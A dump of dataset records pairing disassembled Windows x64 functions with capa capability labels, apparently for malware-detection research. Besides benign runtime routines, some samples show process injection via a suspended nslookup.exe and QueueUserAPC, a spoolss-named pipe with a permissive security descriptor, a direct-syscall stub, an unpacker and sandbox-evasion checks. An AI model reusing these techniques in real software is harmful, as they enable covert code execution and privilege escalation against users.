joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45a470
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x45a47d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x45a48d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x45a475
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x45a4a5
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x45a492
sub eax, 3
jb 0x45a4bf
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x45a4f6
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x45a4e6
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x45a4e4
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x45a4d3
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.0045a432
jmp 0x45a47d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x2200
mov dl, 2
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x45a542
cmp rsi, rcx
jae 0x45a54a
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x45a529
cmp al, 0x8f
ja 0x45a529
cmp byte [rsi - 2], 0xf
je 0x45a52f
sub al, 0xe8
cmp al, 1
ja 0x45a513
cmp rsi, rcx
jae 0x45a54a
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x45a519
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x45a54a
lodsb al, byte [rsi]
jmp 0x45a529
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x58000]
mov eax, dword [rdi]
or eax, eax
je 0x45a5a7
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x5a4ec]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x45a557
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x45a5a1
mov qword [rbx], rax
add rbx, 8
jmp 0x45a577
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.0045a62a], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.0045a62a
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x45a61a
sub rsp, 0xffffffffffffff80
jmp 0x4014f0
Function at 0x140005dcc
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140005bc8
Function at 0x1400095a4
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14000962b
mov rsi, rbx
cmp word [rax], bp
je 0x1400095ea
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1400095d4
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1400095d0
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140007794
mov rdi, rax
test rax, rax
je 0x140009618
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140003260
mov rbp, rdi
xor ecx, ecx
call fcn.140006c4c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14001100a
Capabilities:
Create thread

Disassembly:
jmp 0x140017710
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x138
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x12
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x158]
mov rax, qword [0x14002c028]
xor rax, rbp
mov qword [rbp + 0xf8], rax
lea rcx, [0x140032045]
call fcn.140011794
mov qword [rbp + 8], 0
mov dword [rbp + 0x24], 0
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, qword [rbp + 0x120]
lea r8, [0x140011852]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x1400177b0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateThread___failed._Error:__d_n
call fcn.140011050
mov rax, qword [rbp + 8]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140026500]
call fcn.14001165e
mov rax, rdi
mov rcx, qword [rbp + 0xf8]
xor rcx, rbp
call fcn.140011398
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x140011230
Capabilities:
Connect pipe

Disassembly:
jmp 0x140016670
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x168]
mov rax, qword [0x14002c028]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x140032045]
call fcn.140011794
mov qword [rbp + 8], 0xffffffffffffffff
lea rax, [rbp + 0x28]
mov rdi, rax
xor eax, eax
mov ecx, 0x20
rep stosb byte [rdi], al
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140016707
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateEvent___failed._Error:__d_n
call fcn.140011050
xor eax, eax
jmp 0x14001675e
mov r8d, 0x20
xor edx, edx
lea rcx, [rbp + 0x28]
call fcn.1400115aa
mov rax, qword [rbp + 8]
mov qword [rbp + 0x40], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x14001675a
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x14001675a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ConnectNamedPipe___failed._Error:__d_n
call fcn.140011050
xor eax, eax
jmp 0x14001675e
mov rax, qword [rbp + 8]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140026480]
call fcn.14001165e
mov rax, rdi
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.140011398
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x1400112ee
Capabilities:
Create pipe

Disassembly:
jmp 0x1400167e0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1b8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x2e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1d8]
mov rax, qword [0x14002c028]
xor rax, rbp
mov qword [rbp + 0x168], rax
lea rcx, [0x140032045]
call fcn.140011794
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
lea rax, [rbp + 0x48]
mov rdi, rax
xor eax, eax
mov ecx, 0x28
rep stosb byte [rdi], al
lea rax, [rbp + 0x88]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov ecx, 0x208
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140016879
xor eax, eax
jmp 0x140016985
mov r9, qword [rbp + 0x190]
lea r8, str..pipe_wspipe_spoolss
mov edx, 0x104
mov rcx, qword [rbp + 0x28]
call fcn.140011519
mov edx, 1
lea rcx, [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test eax, eax
jne 0x1400168cd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.InitializeSecurityDescriptor___failed._Error:__d_n
call fcn.140011050
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_free]
xor eax, eax
jmp 0x140016985
xor r9d, r9d
lea r8, [rbp + 0x90]
mov edx, 1
lea rcx, str.D:_A_OICI_GA___WD_
call fcn.140011780
test eax, eax
jne 0x14001690e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ConvertStringSecurityDescriptorToSecurityDescriptor___failed._Error:__d_n
call fcn.140011050
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_free]
xor eax, eax
jmp 0x140016985
lea rax, [rbp + 0x88]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x800
mov dword [rsp + 0x20], 0x800
mov r9d, 0xa
xor r8d, r8d
mov edx, 0x40000003
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x140016977
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateNamedPipe___failed._Error:__d_n
call fcn.140011050
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_free]
xor eax, eax
jmp 0x140016985
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_free]
mov rax, qword [rbp + 8]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x140026400]
call fcn.14001165e
mov rax, rdi
mov rcx, qword [rbp + 0x168]
xor rcx, rbp
call fcn.140011398
lea rsp, [rbp + 0x178]
pop rdi
pop rbp
ret

Function at 0x140011438
Capabilities:
Terminate process

Disassembly:
jmp 0x14001af60
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x14001154b
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001c2f0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001c310
xor al, al
jmp 0x14001c391
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001c323
xor al, al
jmp 0x14001c391
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001c34d
xor al, al
jmp 0x14001c391
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001c361
xor al, al
jmp 0x14001c391
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001c373
xor al, al
jmp 0x14001c391
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001c38f
xor al, al
jmp 0x14001c391
mov al, 1
add rsp, 0x38
ret
Function at 0x140001450
Capabilities:
Hash data using fnv

Disassembly:
mov byte [rsp + 0x10], dl
mov dword [rsp + 8], ecx
sub rsp, 0x18
xor eax, eax
test eax, eax
je 0x14000146f
movsx eax, byte [rsp + 0x28]
or eax, 0x20
mov dword [rsp], eax
jmp 0x140001477
movsx eax, byte [rsp + 0x28]
mov dword [rsp], eax
mov eax, dword [rsp]
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
imul eax, eax, 0x1000193
add rsp, 0x18
ret
Function at 0x140001560
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create process suspended
Inject apc
Resume thread

Disassembly:
push rdi
sub rsp, 0x120
call fcn.140001840
mov r8d, 1
mov rdx, rax
lea rcx, [0x14001c002]
call fcn.140002070
lea rax, [rsp + 0xb0]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rsp + 0x98]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov dword [rsp + 0xb0], 0x68
mov qword [rsp + 0x78], 1
mov qword [rsp + 0x28], 0
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x20], eax
xor r9d, r9d
mov r8d, 0x40
xor edx, edx
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf003f
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rsp + 0x88], rax
mov r8, qword [rsp + 0x78]
lea rdx, [0x14001c002]
mov rcx, qword [rsp + 0x88]
call fcn.140002070
mov byte [rsp + 0x50], 0x43
mov byte [rsp + 0x51], 0x3a
mov byte [rsp + 0x52], 0x5c
mov byte [rsp + 0x53], 0x5c
mov byte [rsp + 0x54], 0x57
mov byte [rsp + 0x55], 0x69
mov byte [rsp + 0x56], 0x6e
mov byte [rsp + 0x57], 0x64
mov byte [rsp + 0x58], 0x6f
mov byte [rsp + 0x59], 0x77
mov byte [rsp + 0x5a], 0x73
mov byte [rsp + 0x5b], 0x5c
mov byte [rsp + 0x5c], 0x5c
mov byte [rsp + 0x5d], 0x53
mov byte [rsp + 0x5e], 0x79
mov byte [rsp + 0x5f], 0x73
mov byte [rsp + 0x60], 0x74
mov byte [rsp + 0x61], 0x65
mov byte [rsp + 0x62], 0x6d
mov byte [rsp + 0x63], 0x33
mov byte [rsp + 0x64], 0x32
mov byte [rsp + 0x65], 0x5c
mov byte [rsp + 0x66], 0x5c
mov byte [rsp + 0x67], 0x6e
mov byte [rsp + 0x68], 0x73
mov byte [rsp + 0x69], 0x6c
mov byte [rsp + 0x6a], 0x6f
mov byte [rsp + 0x6b], 0x6f
mov byte [rsp + 0x6c], 0x6b
mov byte [rsp + 0x6d], 0x75
mov byte [rsp + 0x6e], 0x70
mov byte [rsp + 0x6f], 0x2e
mov byte [rsp + 0x70], 0x65
mov byte [rsp + 0x71], 0x78
mov byte [rsp + 0x72], 0x65
mov byte [rsp + 0x73], 0
lea rax, [rsp + 0x98]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rsp + 0x30], 0x40
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x80]
call fcn.140001b20
mov qword [rsp + 0x90], rax
xor r8d, r8d
mov rdx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
add rsp, 0x120
pop rdi
ret
Function at 0x140001b80
Capabilities:
Accept command line arguments

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rdx, [rsp + 0x24]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0x28], rax
mov rdx, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x24]
call fcn.140002b70
movzx eax, al
test eax, eax
je 0x140001bcd
call fcn.140001560
jmp 0x140001bd2
call fcn.1400010f0
xor eax, eax
jmp 0x140001be5
add rsp, 0x38
ret
Function at 0x1400026d0
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
mov eax, 0x1038
call fcn.1400049e0
sub rsp, rax
mov dword [rsp + 0x20], 0x28
cmp dword [rsp + 0x1040], 1
jle 0x140002716
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x1048]
mov rcx, qword [rcx + rax]
call fcn.14000b520
mov dword [rsp + 0x20], eax
lea r8, [rsp + 0x24]
mov edx, 0x1000
lea rcx, [rsp + 0x30]
call fcn.1400049c0
test eax, eax
jne 0x140002732
xor eax, eax
jmp 0x14000275d
mov eax, dword [rsp + 0x24]
xor edx, edx
mov ecx, 4
div rcx
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x20]
cmp dword [rsp + 0x28], eax
jb 0x140002757
mov eax, 1
jmp 0x14000275d
xor eax, eax
jmp 0x14000275d
add rsp, 0x1038
ret

Function at 0x1400027a0
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry key

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0xa8
mov dword [rsp + 0x60], 2
mov dword [rsp + 0x64], 0
cmp dword [rsp + 0xb0], 1
jle 0x1400027e8
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0xb8]
mov rcx, qword [rcx + rax]
call fcn.14000b520
mov dword [rsp + 0x60], eax
mov byte [rsp + 0x70], 0x53
mov byte [rsp + 0x71], 0x59
mov byte [rsp + 0x72], 0x53
mov byte [rsp + 0x73], 0x54
mov byte [rsp + 0x74], 0x45
mov byte [rsp + 0x75], 0x4d
mov byte [rsp + 0x76], 0x5c
mov byte [rsp + 0x77], 0x5c
mov byte [rsp + 0x78], 0x43
mov byte [rsp + 0x79], 0x6f
mov byte [rsp + 0x7a], 0x6e
mov byte [rsp + 0x7b], 0x74
mov byte [rsp + 0x7c], 0x72
mov byte [rsp + 0x7d], 0x6f
mov byte [rsp + 0x7e], 0x6c
mov byte [rsp + 0x7f], 0x53
mov byte [rsp + 0x80], 0x65
mov byte [rsp + 0x81], 0x74
mov byte [rsp + 0x82], 0x30
mov byte [rsp + 0x83], 0x30
mov byte [rsp + 0x84], 0x31
mov byte [rsp + 0x85], 0x5c
mov byte [rsp + 0x86], 0x5c
mov byte [rsp + 0x87], 0x45
mov byte [rsp + 0x88], 0x6e
mov byte [rsp + 0x89], 0x75
mov byte [rsp + 0x8a], 0x6d
mov byte [rsp + 0x8b], 0x5c
mov byte [rsp + 0x8c], 0x5c
mov byte [rsp + 0x8d], 0x55
mov byte [rsp + 0x8e], 0x53
mov byte [rsp + 0x8f], 0x42
mov byte [rsp + 0x90], 0x53
mov byte [rsp + 0x91], 0x54
mov byte [rsp + 0x92], 0x4f
mov byte [rsp + 0x93], 0x52
mov byte [rsp + 0x94], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [rsp + 0x70]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140002971
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, [rsp + 0x64]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
jne 0x14000296b
jmp 0x14000296f
xor eax, eax
jmp 0x14000298a
jmp 0x140002975
xor eax, eax
jmp 0x14000298a
mov eax, dword [rsp + 0x60]
cmp dword [rsp + 0x64], eax
jb 0x140002988
mov eax, 1
jmp 0x14000298a
xor eax, eax
add rsp, 0xa8
ret
Function at 0x140002d40
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, dword [0x140029fb0]
call fcn.140002010
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140005188
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400051d2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400051d2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400051d2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400051d2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400051d2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400051d4
xor al, al
add rsp, 0x28
ret

Function at 0x14000e5d4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000e3d0
Function at 0x140013c1c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140013c4c
xor eax, eax
jmp 0x140013d0f
mov rbp, rbx
cmp word [rax], si
je 0x140013c71
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140013c58
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140013c54
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140013b3c
movsxd r14, eax
test eax, eax
jne 0x140013caf
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140013c45
mov rcx, r14
call fcn.140010828
mov rdi, rax
test rax, rax
jne 0x140013cc8
xor ecx, ecx
call fcn.14000fc9c
jmp 0x140013ca4
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140013b3c
test eax, eax
jne 0x140013cf9
mov rcx, rdi
call fcn.14000fc9c
jmp 0x140013d03
xor ecx, ecx
call fcn.14000fc9c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140017bec
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140017c02
mov al, 1
jmp 0x140017c62
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140017c13
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140017c60
mov ecx, dword [rcx + 0x18]
nop
call fcn.1400140f4
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140017c60
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140017c60
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140017c60
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140017c62
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x14001a860
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001a888
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001a888
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140001d40
Capabilities:
Write file on windows

Disassembly:
push rsi
sub rsp, 0x30
mov rsi, rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov ecx, 2
call fcn.140002290
lea rcx, str.Mingw_w64_runtime_failure:_n
mov edx, 0x1b
mov r8d, 1
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 2
call fcn.140002290
mov r8, qword [rsp + 0x28]
mov rcx, rax
mov rdx, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
int3

Function at 0x1400023b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x14000c008]
movzx edx, word [rax]
cmp edx, 0x5a4d
jne 0x14000241c
movsxd rdx, dword [rax + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x14000241c
add rax, rdx
movzx edx, word [rax + 0x18]
cmp edx, 0x20b
jne 0x14000241c
movzx edx, word [rax + 6]
test edx, edx
je 0x14000241c
sub rcx, qword [0x14000c008]
movzx r8d, word [rax + 0x14]
add rax, r8
add rax, 0x18
jmp 0x140002408
add rax, 0x28
dec edx
je 0x14000241c
mov r8d, dword [rax + 0xc]
cmp rcx, r8
jb 0x140002400
add r8d, dword [rax + 8]
cmp rcx, r8
jae 0x140002400
jmp 0x14000241e
xor eax, eax
ret

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
mov rcx, qword [0x14000c008]
movzx edx, word [rcx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x140002455
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rcx + rdx], 0x4550
jne 0x140002455
movzx r8d, word [rcx + rdx + 0x18]
cmp r8d, 0x20b
jne 0x140002455
movzx eax, word [rcx + rdx + 6]
ret

Function at 0x1400024d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000c008]
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x1400024fc
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400024fc
movzx ecx, word [rax + rcx + 0x18]
cmp ecx, 0x20b
je 0x1400024fe
xor eax, eax
ret